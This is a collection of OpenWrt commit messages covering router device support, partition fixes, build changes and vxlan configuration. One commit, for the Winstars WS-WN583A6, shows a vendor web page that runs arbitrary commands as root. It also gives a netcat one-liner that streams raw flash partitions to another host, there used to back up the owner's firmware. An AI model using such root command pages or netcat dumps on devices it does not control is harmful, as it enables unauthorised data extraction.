checking if we should build libunwind-setjmp... yes
checking for build architecture... x86_64
checking for host architecture... arc
checking for target architecture... arc
checking for target operating system... linux-gnu
checking for ELF helper width... configure: error: Unknown ELF target: arc
make[3]: *** [Makefile:65: /data/openwrt/build_dir/target-arc_arc700_uClibc/
libunwind-1.3.1/.configured_68b329da9893e34099c7d8ad5cb9c940] Error 1
Deselecting all kmod-openvswitch* packages will have the build run through.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This fixes a few cosmetic issues with partition offset and size
that are inconsistent probably due to copy/pasting.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This patch adds support for D-Link DIR-1960 A1. Given the similarity with
the DIR-1760/2660 A1, this patch also introduces a common DTSI which can
be shared with these devices, with support to be added in future commits.
Specifications:
* Board: AP-MTKH7-0002
* SoC: MediaTek MT7621AT
* RAM: 256 MB (DDR3)
* Flash: 128 MB (NAND)
* WiFi: MediaTek MT7615N (x2)
* Switch: 1 WAN, 4 LAN (Gigabit)
* Ports: 1 USB 3.0
* Buttons: Reset, WPS
* LEDs: Power (white/orange), Internet (white/orange), WiFi 2.4G (white),
WiFi 5G (white), USB 3.0 (white)
Notes:
* WiFi 2.4G and WiFi 5G LEDs are wired directly to the wireless chips
Installation:
* D-Link Recovery GUI: power down the router, press and hold the reset
button, then re-plug it. Keep the reset button pressed until the power
LED starts flashing orange, manually assign a static IP address under
the 192.168.0.xxx subnet (e.g. 192.168.0.2) and go to http://192.168.0.1
* Some modern browsers may have problems flashing via the Recovery GUI,
if that occurs consider uploading the firmware through cURL:
curl -v -i -F "firmware=@file.bin" 192.168.0.1
MAC addresses:
lan factory 0xe000 *:EB (label)
wan factory 0xe006 *:EE
2.4 factory 0xe000 +1 *:EC
5.0 factory 0xe000 +2 *:ED
Seems like vendor didn't replace the dummy entrys in the calibration data.
Signed-off-by: Josh Bendavid <joshbendavid@gmail.com>
[fix whitespace issues, create patch to merge DIR-1960 first, move
special WiFi MAC settings to DTS, extend commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
In imx6, we currently use the model from DTS to derive a board name
manually in /lib/imx6.sh.
However, if we have individual DTS files anyway, we can exploit
generic 02_sysinfo and use the compatible as board name directly.
While at it, remove the wildcards from /lib/upgrade/platform.sh as
these might make code shorter, but are quite unpleasant when grepping
for a specific device.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
OpenWrt lately has harmonized device (definition) names to the
pattern vendor_model to improve overall consistency, also with
other values like the DTS compatible.
This patch applies that scheme to the layerscape target.
Since this (intentionally) creates a bigger overlap between DTS names,
compatible, and device definition name, it also moves DEVICE_DTS and
SUPPORTED_DEVICES definitions to the Device/Default blocks.
Apart from that, it also modifies several packages to use consistent
naming in order to keep the $(1) file references working.
While at it, remove one layer of complexity for the setup in
tfa-layerscape package.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Use "DEFAULT := n" to only disable devices for buildbots, but
keep them available for manual build.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The kernel appears to have grown too large, breaking the build for the
entire target.
Disable the affected images for now until the situation is dealt with.
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
This adds a full eMMC image including U-Boot, which means that the
kernel can inherit the true RAM size detected by the preloader.
As implemented in previous commits, sysupgrade to this image from
the legacy layout (and via that, from the vendor-installed image)
is supported.
Rename the legacy image for the 512MiB board, for clarity.
Signed-off-by: David Woodhouse <dwmw2@infradead.org>
As I buy more hardware and continue to work on consolidation, This will
apply to a lot of MediaTek platforms; rename it accordingly.
Signed-off-by: David Woodhouse <dwmw2@infradead.org>
This actually covers fairly much all the MediaTek platforms; they
only have different images because they don't include the preloader
and U-Boot, and rely on preinstalled stuff from the vendor.
So this script can slowly take over the world as we complete the
support for various other platforms, starting with UniElec U7623…
Signed-off-by: David Woodhouse <dwmw2@infradead.org>
Many MediaTek SoCs can be unbricked by using the SP Flash Tool from
http://spflashtool.com/ along with a "scatter list" file, which is
just a text file listing which image gets loaded where.
We use a trivial partition layout for the tool, with the whole eMMC
image as a single "partition", which means users just need to unzip
the sysupgrade image. Doing the real partition layout would be overly
complex and would require the individual partitions to be shipped
as artifacts — or users to extract them out of the sysupgrade image
just for the tool to put them adjacent to each other on the eMMC
anyway.
The tool does require a copy of the preloader in order to operate,
even when it isn't flashing the preloader to the eMMC boot region.
So drop that into the bin directory as an artifact too.
Signed-off-by: David Woodhouse <dwmw2@infradead.org>
bpi-r2 images are shipped with mainline u-boot which can extract lzma
with no problem.
remove custom kernel recipe to build lzma fit image instead of
uncompressed fit with zboot.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
An upcoming commit will add a full system image for U7623 which will
contain the MBR partition table and U-Boot too.
That contrasts with the current image which only owns the eMMC from
sector 0xa00 onwards, and must start with a legacy uImage.
Prepare for sysupgrade to the new images, and cope with the fact that
the recovery partition will be /dev/mmcblk0p2 instead of /dev/mmcblk0p1
after the upgrade.
This commit could potentially be backported to 19.07 to allow for direct
sysupgrade to the new image layout.
Signed-off-by: David Woodhouse <dwmw2@infradead.org>
I'm about to change the layout of the images for UniElec U7623 so make it
find the recovery partition based on which the root partition is too.
Signed-off-by: David Woodhouse <dwmw2@infradead.org>
The definition of the switch in the device-tree was not correct. Make it
look more like the Banana Pi R2, which works.
Signed-off-by: David Woodhouse <dwmw2@infradead.org>
This board ships with an ancient 14.07-based OpenWrt using block2mtd, and
the MBR partition table contains nonsense.
It is possible to sysupgrade to an upstream OpenWrt image, but the
legacy layout of the OpenWrt images start at 0xA00 in the eMMC, with
a raw uImage. The legacy OpenWrt image doesn't "own" the beginning
of the device, including the MBR and U-Boot.
This means that when a user upgrades to upstream OpenWrt, it doesn't
boot because it can't find the right partitions. So hard-code them on
the kernel's command line using CONFIG_CMDLINE_PARTITION (for block).
Additionally, the vendor firmware doesn't cope with images larger than
about 36MiB, because it only overwrites the contents of its "firmware"
MTD partition. The current layout of the legacy image wastes a lot of
space, allowing over 32MiB for the kernel and another 10MiB for the FAT
recovery file system which is only created as 3MiB. So pull those in
to allow 4¾ MiB for the kernel, 3MiB for recovery, and then we have over
20MiB for the root file system.
This doesn't affect the new images which ship with a full eMMC image
including a different MBR layout and a partition for U-Boot, because
our modern U-Boot can actually pass the command line to the kernel, and
the built-in one doesn't get used anyway.
Tested by upgrading from vendor OpenWrt to the current legacy image,
from legacy to itself, to the previous legacy layout, and then to
finally the full-system image.
This commit probably wants backporting to 19.07, which also doesn't
install over the vendor OpenWrt and doesn't even have a full-system
installation option.
Signed-off-by: David Woodhouse <dwmw2@infradead.org>
Specifications:
SoC: QCA9563
DRAM: 128MB DDR2
Flash: 16MB SPI-NOR
2 Gigabit ethernet ports
3×3 2.4GHz on-board radio
miniPCIe slot that supports 5GHz radio
PoE 24V passive or 36V-56V passive with optional IEEE 802.3af/at
USB 3.0 header
Installation:
To install, either start tftp in bin/targets/ath79/generic/ and use
the u-boot prompt over UART:
tftpboot 0x80500000 openwrt-ath79-generic-compex_wpj563-squashfs-sysupgrade.bin
erase 0x9f680000 +1
erase 0x9f030000 +$filesize
cp.b $fileaddr 0x9f030000 $filesize
boot
The cpximg file can be used with sysupgrade in the stock firmware (add
SSH key in luci for root access) or with the built-in cpximg loader.
The cpximg loader can be started either by holding the reset button
during power up or by entering the u-boot prompt and entering 'cpximg'.
Once it's running, a TFTP-server under 192.168.1.1 will accept the image
appropriate for the board revision that is etched on the board.
For example, if the board is labelled '7A02':
tftp -v -m binary 192.168.1.1 -c put openwrt-ath79-generic-compex_wpj563-squashfs-cpximg-7a02.bin
MAC addresses:
<&uboot 0x2e010> *:71 (label)
<&uboot 0x2e018> *:72
<&uboot 0x2e020> *:73
<&uboot 0x2e028> *:74
Only the first two are used (for ethernet), the WiFi modules have
separate (valid) addresses. The latter two addresses are not used.
Signed-off-by: Leon M. George <leon@georgemail.eu>
xrx200 has a 6 port built-in switch with 2 integrated PHY. None of the
xrx200 router uses external switch. Most boards use integrated or Lantiq
(Intel) PEF7071 PHY. Only some FritzBox routers use AT803X PHY and
VGV7510KW22 use ICPLUS PHY. Other unused PHY drivers may be removed.
This patch enables these symbols only on xway and xway_legacy subtargets:
- CONFIG_PSB6970_PHY (Driver for PHY in PSB6970 - 7 port FE Switch)
- CONFIG_RTL8366RB_PHY (Driver for PHY in RTL8366 - 6 port GE Switch)
- CONFIG_RTL8366_SMI (Driver for RTL8366 - 6 port GE Switch)
Reduces image size by 7.3kB.
Continuation of 58a6f06978 (PR: #2983)
Signed-off-by: Aleksander Jan Bajkowski <A.Bajkowski@stud.elka.pw.edu.pl>
[fix sorting in config files, small fix in commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The current condition with part of the variables set dependent on
the subtarget in Device/Default isn't really nice to read and also
defeats the purpose of having a default node.
This removes the special settings for mt7623 and moves them to the
individual devices, which is not much of a problem as there are
actually just two of them and they partly use different settings
anyway.
While at it, slightly adjust the order of variables and wrap some
long lines.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The kernel currently floods the ringbuffer with warnings when adding a
mesh interface for a device not support HE 6GHz modes.
Return without warning in this case, as mesh_add_he_6ghz_cap_ie calls
ieee80211_ie_build_he_6ghz_cap regardless of the supported interface
modes.
Signed-off-by: David Bauer <mail@david-bauer.net>
The Mikrotik RBwAPG-5HacT2HnD has only a single ethernet interface
(lan), and the vendor uses the base (label) MAC address for it.
Signed-off-by: Bjoern Dobe <bjoern@dobecom.de>
[commit title/message improvement]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
AR8327 datasheet[1] calls the register at address 0x0010
"Power-on Strapping Register". As it has nothing to do with "strip",
let's rename it to "POWER_ON_STRAP" to make it easier to grasp.
[1] https://lafibre.info/images/doc/201106_spec_AR8327.pdf
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
This 750gr3 GPIO17 switch was added based on vendor source,
but only the 760iGS (which shares the rbsysfs board identifier)
device has the physical wiring. The 750Gr3 actually does not
support PoE out.
Apart from that, note that the gpio base (480) would have required
this GPIO to be referenced as 497 if it was kept.
Fixes: 6ba58b7b02 ("ramips: cleanup the RB750Gr3 support")
Signed-off-by: John Thomson <git@johnthomson.fastmail.com.au>
[commit title/message facelift]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The Winstars WS-WN583A6 is a wireless repeater with 2 gigabit ethernet
ports. Even if mine is branded as "Gemeita AC2100", the sticker on the
back says WS-WN583A6. So I will refer to it as Winstars WS-WN583A6.
Probably the real product name is the Wavlink WL-WN583A6 because of
the many references to Wavlink in the OEM firmware and bootlog.
Hardware
--------
SoC: Mediatek MT7621AT (880 MHz, 2 cores 4 threads)
RAM: 128MB
FLASH: 8MB NOR (GigaDevice GD25Q64B)
ETH: 2x 10/100/1000 Mbps Ethernet (MT7530)
WIFI:
- 2.4GHz: 1x MT7603E (2x2:2)
- 5GHz: 1x MT7615E (4x4:4)
- 6 internal antennas
BTN:
- 1x Reset button
- 1x WPS button
- 1x ON/OFF switch (working but unmodifiable)
- 1x Auto/Schedule switch (working but unmodifiable. Read Note #3)
LEDS:
- 1x White led
- 1x Red led
- 1x Amber led
- 1x Blue led
- 2x Blue leds (lan and wan port status: working but unmodifiable)
UART:
- 57600-8-N-1
Everything works correctly.
Currently there is no firmware update available. Because of this, in
order to restore the OEM firmware, you must firstly dump the OEM
firmware from your router before you flash the OpenWrt image.
Backup the OEM Firmware
-----------------------
The following steps are to be intended for users having little to none
experience in linux. Obviously there are many ways to backup the OEM
firmware, but probably this is the easiest way for this router.
Procedure tested on M83A6.V5030.191210 firmware version.
1) Go to http://192.168.10.1/webcmd.shtml
2) Type the following line in the "Command" input box:
mkdir /etc_ro/lighttpd/www/dev; for i in /dev/mtd*ro; do dd if=${i} of=/etc_ro/lighttpd/www${i}; done
3) Click "Apply"
4) After few seconds, in the textarea should appear this output:
16384+0 records in
16384+0 records out
8388608 bytes (8.0MB) copied, 4.038820 seconds, 2.0MB/s
384+0 records in
384+0 records out
196608 bytes (192.0KB) copied, 0.095180 seconds, 2.0MB/s
128+0 records in
128+0 records out
65536 bytes (64.0KB) copied, 0.032020 seconds, 2.0MB/s
128+0 records in
128+0 records out
65536 bytes (64.0KB) copied, 0.031760 seconds, 2.0MB/s
15744+0 records in
15744+0 records out
8060928 bytes (7.7MB) copied, 3.885280 seconds, 2.0MB/s
dd: can't open '/dev/mtd5ro': No such device
dd: can't open '/dev/mtd6ro': No such device
dd: can't open '/dev/mtd7ro': No such device
Excluding the "X.XXXXXX seconds" part, you should get the same
exact output. If your output doesn't match mine, stop reading
and ask for help in the forum.
5) Open the following links to download the partitions of the OEM FW:
http://192.168.10.1/dev/mtd0rohttp://192.168.10.1/dev/mtd1rohttp://192.168.10.1/dev/mtd2rohttp://192.168.10.1/dev/mtd3rohttp://192.168.10.1/dev/mtd4ro
If one (or more) of these files weight 0 byte, stop reading and ask
for help in the forum.
6) Store these downloaded files in a safe place.
7) Reboot your router to remove any temporary file from your router.
Installation
------------
Flash the initramfs image in the OEM firmware interface.
When openwrt boots, flash the sysupgrade image otherwise you won't be
able to keep configuration between reboots.
Restore OEM Firmware
--------------------
Flash the "mtd4ro" file you previously backed-up directly from LUCI.
Warning: Remember to not keep settings!
Warning2: Remember to force the flash.
Notes
-----
1) The "System Command" page allows to run every command as root.
For example you can use "dd" and "nc" to backup the OEM firmware.
PC (SERVER):
nc -l 5555 > ./mtdXro
ROUTER (CLIENT):
dd if=/dev/mtdXro | nc PC_IP_ADDRESS 5555
2) The OEM web interface accepts only images containing the string
"WN583A6" in the filename.
Currently the OEM interface accepts only the initramfs image
probably because it checks if the ih_size in the image header is
equal to the whole image size (instead of the kernel size)
Read more here:
https://forum.openwrt.org/t/support-for-strong-1200/22768/19
3) The white led (namely "Smart Night Light") can be controller by the
user only if the side switch is set to "Schedule" otherwise it will
be activated by the light condition (there is a photodiode on the
top side of the router)
4) Router mac addresses:
LAN XX:XX:XX:XX:XX:8F
WAN XX:XX:XX:XX:XX:90
WIFI 2G XX:XX:XX:XX:XX:91
WIFI 5G XX:XX:XX:XX:XX:92
LABEL XX:XX:XX:XX:XX:91
Signed-off-by: Davide Fioravanti <pantanastyle@gmail.com>
[remove chosen node, fix whitespace]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Most newer targets have been converted to consistently use
vendor_model scheme for device definitions/image names, ox820 is
using it as well, so let's just convert ox810se for consistency.
While at it, use generic setup for DEVICE_DTS and add SUPPORTED_DEVICES.
The latter have been introduced for ox820 already in
cf7896117b ("oxnas: enable image metadata by setting SUPPORTED_DEVICES")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
48777de rcS: cast format string to int64_t
a4df90f jail: fix wrong format for 32-bit
c482c5d jail: add support for referencing existing namespaces
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Currently the user space stack cookies work well also when the kernel
stack cookies are not activated. This is handled completely in user
space and does not need kernel support.
This dependency was probably needed some years ago when the libc did not
support stack cookies.
Reviewed-by: Ian Cooper <iancooper@hotmail.com>
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Switch to binutils version 2.34 for all CPUs by default. The ARC CPUs
do not need any special binutils version any more.
This increases the image size by 0.2% on MIPS (lantiq)
Tested on lantiq, ipq40xx
Acked-by: Rosen Penev <rosenp@gmail.com>
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This fixes a warning in the SPI driver at bootup. This warning is seen
in kernel 5.4 on lantiq deives.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
The following patches:
* 972-ath10k_fix-crash-due-to-wrong-handling-of-peer_bw_rxnss_override-parameter.patch
* 973-ath10k_fix-band_center_freq-handling-for-VHT160-in-recent-firmwares.patch
are replaced by this commit in the upstream kernel:
* 3db24065c2c8 ("ath10k: enable VHT160 and VHT80+80 modes")
The following patches were applied upstream:
* 001-rt2800-enable-MFP-support-unconditionally.patch
* 090-wireless-Use-linux-stddef.h-instead-of-stddef.h.patch
The rtw88 driver is now split into multiple kernel modules, just put it
all into one OpenWrt kernel package.
rtl8812au-ct was patched to compile against the mac80211 from kernel
5.8, but not runtime tested.
Add a patch which fixes ath10k on IPQ40XX, this patch was send upstream
and fixes a crash when loading ath10k on this SoC.
Tested-by: Stefan Lippers-Hollmann <s.l-h@gmx.de> [ipq40xx/ map-ac2200]
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Ever since this package was introduced, the SDK for mt7629 failed to
build as it started failing on this package.
Fixed by porting Hauke's similar patch for uboot-sunxi to uboot-mediatek.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
If using a configuration file for OpenVPN, allow overriding name of the
interface. The reason is that then people could use configuration file
provided by VPN provider directly and override the name of the interface
to include it in correct firewall zone without need to alter the
configuration file.
Signed-off-by: Michal Hrusecky <michal@hrusecky.net>
(cherry picked from commit c93667358515ec078ef4ac96393623ac084e5c9e)
Split out code that parses openvpn configuration file into separate file
that can be later included in various scripts and reused.
Signed-off-by: Michal Hrusecky <michal@hrusecky.net>
(cherry picked from commit 86d8467c8ab792c79809a08c223dd9d40da6da2e)
The stored source code of flock contains the version string of version
2.18, reflect that in the Makefile.
Motivation is the tracking of changes in the buildsystem, which requires
versioning of packages.
Signed-off-by: Paul Spooren <mail@aparcar.org>
Comparing the in tree stored source file of sstrip suggests it's version
2.0[0], reflect that in the Makefile.
Motivation is the tracking of changes in the buildsystem, which requires
versioning of packages.
[0]: df4426a0f0 (diff-d3ba694d91432a068d5d3b36abf8cd0f)
Signed-off-by: Paul Spooren <mail@aparcar.org>
There is no versioning information in the firmware-utils code nor the
Makefile. Consider it as first release by adding PKG_RELEASE.
Motivation is the tracking of changes in the buildsystem, which requires
versioning of packages.
Also update copyright.
Signed-off-by: Paul Spooren <mail@aparcar.org>
There is no versioning information in the patch-image code nor the
Makefile. Consider it as first release by adding PKG_RELEASE.
Motivation is the tracking of changes in the buildsystem, which requires
versioning of packages.
Also update copyright.
Signed-off-by: Paul Spooren <mail@aparcar.org>
This applies to tools directory what has been done for package/ in
commit 9c170cb92f ("package: drop PKG_VERSION for purely local
packages"):
In the package guidelines, PKG_VERSION is supposed to be used as
"The upstream version number that we're downloading", while
PKG_RELEASE is referred to as "The version of this package Makefile".
Thus, the variables in a strict interpretation provide a clear
distinction between "their" (upstream) version in PKG_VERSION and
"our" (local OpenWrt trunk) version in PKG_RELEASE.
For local (OpenWrt-only) packages, this implies that those will only
need PKG_RELEASE defined, while PKG_VERSION does not apply following
a strict interpretation. While the majority of "our" packages actually
follow that scheme, there are also some that mix both variables or
have one of them defined but keep them at "1".
This is misleading and confusing, which can be observed by the fact
that there typically either one of the variables is never bumped or
the choice of the variable to increase depends on the person doing the
change.
Consequently, this patch aims at clarifying the situation by
consistently using only PKG_RELEASE for "our" packages. For tools/,
only three packages were affected. This fixes two of them, and
leaves the remaining wrt350nv2-builder untouched, as the code there
seems to have some versioning of its own that is treated as upstream
version in PKG_VERSION.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This reverts commit 1623defbdb.
As already stated in the reverted patch, the OEM firmware will
properly recreate the config partition if it is overwritten by
OpenWrt.
The main reason for adding the partition was the image size
restriction imposed by the 0x3d0000 limitation of the TFTP
flashing process. Addressing this by shrinking the firmware
partition is not a good solution to that problem, though:
1. For a working image, the size of the content has to be smaller
than the available space, so empty erase blocks will remain.
2. Conceptually, the restriction is on the image, so it makes sense
to implement it in the same way, and not via the partitioning.
Users could e.g. do initial flash with TFTP restriction with
an older image, and then sysupgrade into a newer one, so TFTP
restriction does not apply.
3. The (content) size of the recovery image is enforced to 0x3d0000
by the tplink-v2-image command in combination with
TPLINK_FLASHLAYOUT (flash layout in mktplinkfw2.c) anyway.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Currently arc770 sets a board name from compatible for no apparent
reason. Just use the compatible directly instead.
This theoretically removes a board name "generic" when no compatible
was present, however, there is no case where this "generic" board
name was actually used.
This also fixes an issue where snps,axs101 would not have been
properly detected anyway, as its case was not set up syntactically
correct.
Fixes: 576621f1e3 ("linux: add support of Synopsys ARC770-based boards")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Currently archs38 sets a board name from compatible for no apparent
reason. Just use the compatible directly instead.
This theoretically removes a board name "generic" when no compatible
was present, however, there is no case where this "generic" board
name was actually used.
This also fixes an issue where snps,axs103 would not have been
properly detected anyway, as its case was not set up syntactically
correct.
Fixes: 73015c4cb3 ("linux: add support of Synopsys ARCHS38-based boards")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
MT7620 seems to work fine with kernel 5.4. Set the default kernel
version to 5.4 to bring this to a broader audience.
Tested on Archer C2 v1 / Archer C20i
Signed-off-by: David Bauer <mail@david-bauer.net>
Increase the SPI frequency for the MT7620 based TP-Link Archer
series to 30MHz.
TP-Link uses different SPI flash chips for the same board
revision, so be conservative to not break boards with a
different chip. 30MHz should be well supported by all chips.
Tested on Archer C2 v1 (GD25Q64B) and Archer C20i (W25Q64FV).
Archer C20i (before)
====================
root@OpenWrt:~# time dd if=/dev/mtd1 of=/tmp/test.bin bs=64k
122+0 records in
122+0 records out
real 0m 15.30s
user 0m 0.00s
sys 0m 15.29s
Archer C20i (after)
===================
root@OpenWrt:~# time dd if=/dev/mtd1 of=/tmp/test.bin bs=64k
122+0 records in
122+0 records out
real 0m 5.99s
user 0m 0.00s
sys 0m 5.98s
Signed-off-by: David Bauer <mail@david-bauer.net>
Acked-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The bootloader only writes the first 2MB of the image to the NOR flash
when installing the NAND factory image. The bootloader is capable of
booting larger kernels as it boots from the memory mapped SPI flash.
Disable the NAND factory image. The NAND can be bootstrapped by writing
the NAND initramfs image using the NOR upgrade method in the bootloader
web-recovery and sysupgrading from there. The NOR variant is not
affected.
Also refactor the partition definitions in the DTS to make them less
annoying to read.
Signed-off-by: David Bauer <mail@david-bauer.net>
The TL-WR841ND v8 feature a WiFi switch instead of a button.
This adds the corresponding input-type to prevent booting into
failsafe regularly.
This has been defined correctly in ar71xx, but was overlooked
when migrating to ath79. In contrast, the TL-WR842ND v2, which
has the key set up as switch in ar71xx, actually has a button.
The TL-MR3420 v2 has a button as well and is set up correctly
for both targets. (Information based on TP-Link user guide)
Note:
While looking into this, I found that support PR for TL-MR3420 v2
switched reset button to ACTIVE_HIGH. However, the other two
device still use ACTIVE_LOW. This seems strange, but I cannot
verify it lacking the affected devices.
Fixes: FS#2733
Fixes: 9601d94138 ("add support for TP-Link TL-WR841N/ND v8")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This patch adds a trigger for the WAN LED and enhances support for
the WiFi LED by enabling activity indication.
This is based on bug report feedback (see reference below).
While at it, update the LED node names in DTS file.
Fixes: FS#732
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
In most cases the DEVICE_DTS name can be derived easily from the
node name, so let's do this to enforce harmonized names where
possible.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The DEVICE_DTS variable always matches the device definition name,
just with "_" replaced by "-". Thus, create a DEVICE_DTS definition
in Device/Default and drop all the individual statements.
If necessary in the future, local DEVICE_DTS will still overwrite
that default.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
WRT610N V2 is not detected by the initial network configuration script.
The switch remains unconfigured and wlan/lan vlans are not created.
This adds the correct setup for the device.
Fixes: FS#1869
Suggested-by: Alessandro Radicati
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The function name ucidef_set_interface_lan_wan does not exist,
use the proper name by adding an "s" and thereby fix network
setup on these devices.
Fixes: 22468cc40c (ramips: erx and erx-sfp: fix missing WAN interface)
Signed-off-by: Nelson Cai <niphor@gmail.com>
[commit message/title facelift]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Previously hostapd would not stop transmitting when a DFS event was
detected and no available channel to switch to was available.
Disable and re-enable the interface to enter DFS state. This way, TX
does not happen until the kernel notifies hostapd about the NOP
expiring.
Signed-off-by: David Bauer <mail@david-bauer.net>
Currently a device which has a DFS channel selected using the UCI
channel setting might switch to a non-DFS channel in case no chanlist is
provided (UCI setting "channels") when the radio detects a DFS event.
Automatically add a chanlist consisting of the configured channel when
the device does not operate in auto-channel mode and no chanlist set to
circumvent this issue.
Signed-off-by: David Bauer <mail@david-bauer.net>
Similar to wireguard, vxlan can configure multiple peers or add specific
entries to the fdb for a single mac address.
While you can still use peeraddr/peer6addr option within the proto
vxlan/vxlan6 section to not break existing configurations, this patch
allows to add multiple sections that conigure fdb entries via the bridge
command. As such, the bridge command is now a dependency of the vxlan
package. (To be honest without the bridge command available, vxlan isn't
very much fun to use or debug at all)
Field names are taken direclty from the bridge command.
Example with all supported parameters, since this hasn't been documented so
far:
config interface 'vx0'
option proto 'vxlan6' # use vxlan over ipv6
# main options
option ip6addr '2001:db8::1' # listen address
option tunlink 'wan6' # optional if listen address given
option peer6addr '2001:db8::2' # now optional
option port '8472' # this is the standard port under linux
option vid '42' # VXLAN Network Identifier to use
option mtu '1430' # vxlan6 has 70 bytes overhead
# extra options
option rxcsum '0' # allow receiving packets without checksum
option txcsum '0' # send packets without checksum
option ttl '16' # specifies the TTL value for outgoing packets
option tos '0' # specifies the TOS value for outgoing packets
option macaddr '11:22:33:44:55:66' # optional, manually specify mac
# default is a random address
Single peer with head-end replication. Corresponds to the following call
to bridge:
$ bridge fdb append 00:00:00:00:00:00 dev vx0 dst 2001:db8::3
config vxlan_peer
option vxlan 'vx0'
option dst '2001:db8::3' # always required
For multiple peers, this section can be repeated for each dst address.
It's possible to specify a multicast address as destination. Useful when
multicast routing is available or within one lan segment:
config vxlan_peer
option vxlan 'vx0'
option dst 'ff02::1337' # multicast group to join.
# all bum traffic will be send there
option via 'eth1' # for multicast, an outgoing interface needs
# to be specified
All available peer options for completeness:
config vxlan_peer
option vxlan 'vx0' # the interface to configure
option lladdr 'aa:bb:cc:dd:ee:ff' # specific mac,
option dst '2001:db8::4' # connected to this peer
option via 'eth0.1' # use this interface only
option port '4789' # use different port for this peer
option vni '23' # override vni for this peer
option src_vni '123' # see man 3 bridge
Signed-off-by: Johannes Kimmel <fff@bareminimum.eu>
vxlan can be configured without a peer address. This is used to prepare
an interface and add peers later.
Fixes: FS#2743
Signed-off-by: Johannes Kimmel <fff@bareminimum.eu>
Acked-by: Matthias Schiffer <mschiffer@universe-factory.net>
This adds new strings to the support list for the TP-Link CPE210 v3
that are supposed to work with the existing setup.
Without it, the factory image won't be accepted by the vendor UI on
these newer revisions.
Tested on a CPE210 v3.20 (EU).
Ref: https://forum.openwrt.org/t/build-for-cpe210-v3-20/68000
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This fixes a nasty problem introduced in 2.81 which causes random
crashes on systems where there's significant DNS activity over TCP. It
also fixes DNSSEC validation problems with zero-TTL DNSKEY and DS
records.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
Further complete OCI container support in ujail:
f5f305e jail: move /tmp/resolv.conf.d to /dev/resolv.conf.d
6f078ae jail: add support for defining devices
686cf7a jail: actually apply filesystem-specific mount options
f91009a jail: refactor default mounts into new structure
66ae2d9 jail: re-implement /proc/sys/net read-write in netns hack
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Pressing the 'WLAN' button should enable/disable wireless activity.
Currently, the button is mapped to the KEY_WLAN, which will not
have this effect.
This patch changes the mapping of the WLAN button, so a button
press will emit an action for the 'rfkill' key instead of 'wlan'.
Apparently, this is what stock OpenWRT expects.
This fix is analogous to the preceding patch for Fritzbox 3370.
Signed-off-by: Dustin Gathmann <dzsoftware@posteo.org>
The WLAN button actions are reversed, i.e. pressing the button emits a
'released' action, and vice versa.
This can easily be checked by adding
logger -t button_action "$BUTTON $ACTION"
as the second line of /etc/rc.button/rfkill, and using logread to read
the events (assuming the preceding patch has been applied).
Defining the GPIO as ACTIVE_LOW corrects this behavior.
Signed-off-by: Dustin Gathmann <dzsoftware@posteo.org>
Pressing the 'WLAN' button should enable/disable wireless activity.
However, on the Fritzbox 3370 this doesn't have an effect.
This patch changes the mapping of the physical WLAN button, so a button
press will emit an action for the 'rfkill' key instead of 'wlan'.
Apparently, this is what stock OpenWRT expects, and also what is
implemented for most other devices.
Signed-off-by: Dustin Gathmann <dzsoftware@posteo.org>
9eddf0f jail: fix hooks
1b1286b jail: parse and apply OCI sysctl values
c049047 jail: implement OCI user additionalGIDs
0e1920c jail: read and apply umask from OCI if defined
1c46cc3 jail: parse and apply POSIX rlimits
76adac5 jail: /proc/$pid/oom_score_adj to OCI defined oomScoreAdj
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
The config partition was missing from the flash layout of the device.
Although the stock firmware resets a corrupted config partition to the
default values, the TFTP flash with an image bigger than 0x3d0000 will
truncate the image as the bootloader only copies 0x3d0000 bytes to flash
during TFTP flashing.
Fixed by adding the config partition and shrinking the firmware
partition.
Fixes: 3fd97c522b ("ramips: add support for TP-Link TL-WR841n v14")
Signed-off-by: Alexander Müller <donothingloop@gmail.com>
The factory partition on this device is only 64k in size, so having
mediatek,mtd-eeprom = <&factory 0x10000> would place the EEPROM data
after the end of the flash. As can be verified against the TP-Link
GPL sources, which contain the EEPROM data as binary blob, the actual
address for the EEPROM data is 0x0.
Since 0x0 is default for MT7628, the incorrect line is just removed.
This error is the reason for the abysmal Wifi performance that people
are complaining about for the WR841Nv14.
Fixes: 3fd97c522b ("ramips: add support for TP-Link TL-WR841n v14")
